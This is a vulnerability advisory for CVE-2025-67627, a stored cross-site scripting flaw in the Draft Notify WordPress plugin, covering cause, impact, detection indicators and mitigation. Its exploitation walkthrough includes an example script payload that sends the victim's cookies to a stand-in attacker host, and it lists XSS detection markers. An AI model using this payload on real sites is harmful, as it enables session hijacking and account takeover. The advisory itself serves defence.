CVE-2025-67627: 
WordPress vulnerability analysis and mitigation

CVE-2025-67627 is a Stored Cross-Site Scripting (XSS) vulnerability in the TouchOfTech Draft Notify WordPress plugin, affecting all versions up to and including 1.5. The vulnerability is classified under CWE-79 (Improper Neutralization of Input During Web Page Generation) and was published on December 24, 2025, with Patchstack credited as the assigner. It carries a CVSS v3.1 base score of 5.4 (Medium) (Feedly, Patchstack).

The root cause is improper neutralization of user-supplied input before it is rendered in web pages (CWE-79), enabling a Stored XSS attack. An authenticated attacker with low privileges can inject malicious scripts into fields processed by the Draft Notify plugin; these scripts are then persistently stored and executed in the browsers of other users who view the affected content. The attack vector is network-based, requires low privileges, and necessitates user interaction (e.g., a victim visiting a page containing the stored payload) for the script to execute (Feedly).

Successful exploitation allows an attacker to execute arbitrary JavaScript in the context of a victim's browser session, potentially leading to session token theft, credential harvesting, or unauthorized actions performed on behalf of the victim. The scope is changed (cross-origin impact), with low confidentiality and low integrity impact; availability is not affected. In a WordPress environment, if an administrator is targeted, this could escalate to full site compromise (Feedly).

No public proof-of-concept exploit code or evidence of in-the-wild exploitation has been reported for CVE-2025-67627. The EPSS score is approximately 0.029% (0.000290), indicating a very low probability of exploitation in the near term. The vulnerability is not listed in the CISA Known Exploited Vulnerabilities (KEV) catalog. Exploitation requires an authenticated account with at least low-level privileges on the target WordPress site (Feedly).

1. Reconnaissance: Identify WordPress sites running the Draft Notify plugin version ≤ 1.5 (e.g., via WPScan or manual inspection of plugin metadata).
2. Authentication: Obtain or register a low-privileged account on the target WordPress site (e.g., subscriber or contributor role).
3. Inject Payload: Navigate to the plugin's input field(s) within the WordPress admin or front-end interface and submit a crafted XSS payload (e.g., <script>document.location='https://attacker.com/steal?c='+document.cookie</script>).
4. Payload Storage: The malicious script is stored in the WordPress database without proper sanitization by the Draft Notify plugin.
5. Trigger Execution: When a privileged user (e.g., administrator) visits the page or admin panel section rendering the stored content, the payload executes in their browser, potentially stealing session cookies or performing actions on their behalf (Feedly).

• Logs: WordPress access logs showing POST requests to plugin-related endpoints containing HTML/JavaScript tags or encoded script payloads (e.g., %3Cscript%3E, onerror=, onload=).
• Database: Unexpected JavaScript or HTML script tags stored in the WordPress database within Draft Notify plugin data fields.
• Network: Outbound requests from victim browsers to unknown external domains shortly after visiting pages rendered by the Draft Notify plugin, potentially indicating cookie or credential exfiltration.
• Browser: Unexpected redirects or pop-ups experienced by users viewing Draft Notify plugin content.

WordPress site administrators should update the Draft Notify plugin to a version beyond 1.5 if a patched release is available from the plugin author (TouchOfTech). If no patch is yet available, the recommended workaround is to deactivate and remove the Draft Notify plugin until a fix is released. Additionally, restricting plugin input fields to trusted users and implementing a Web Application Firewall (WAF) with XSS filtering rules can reduce exposure (Patchstack).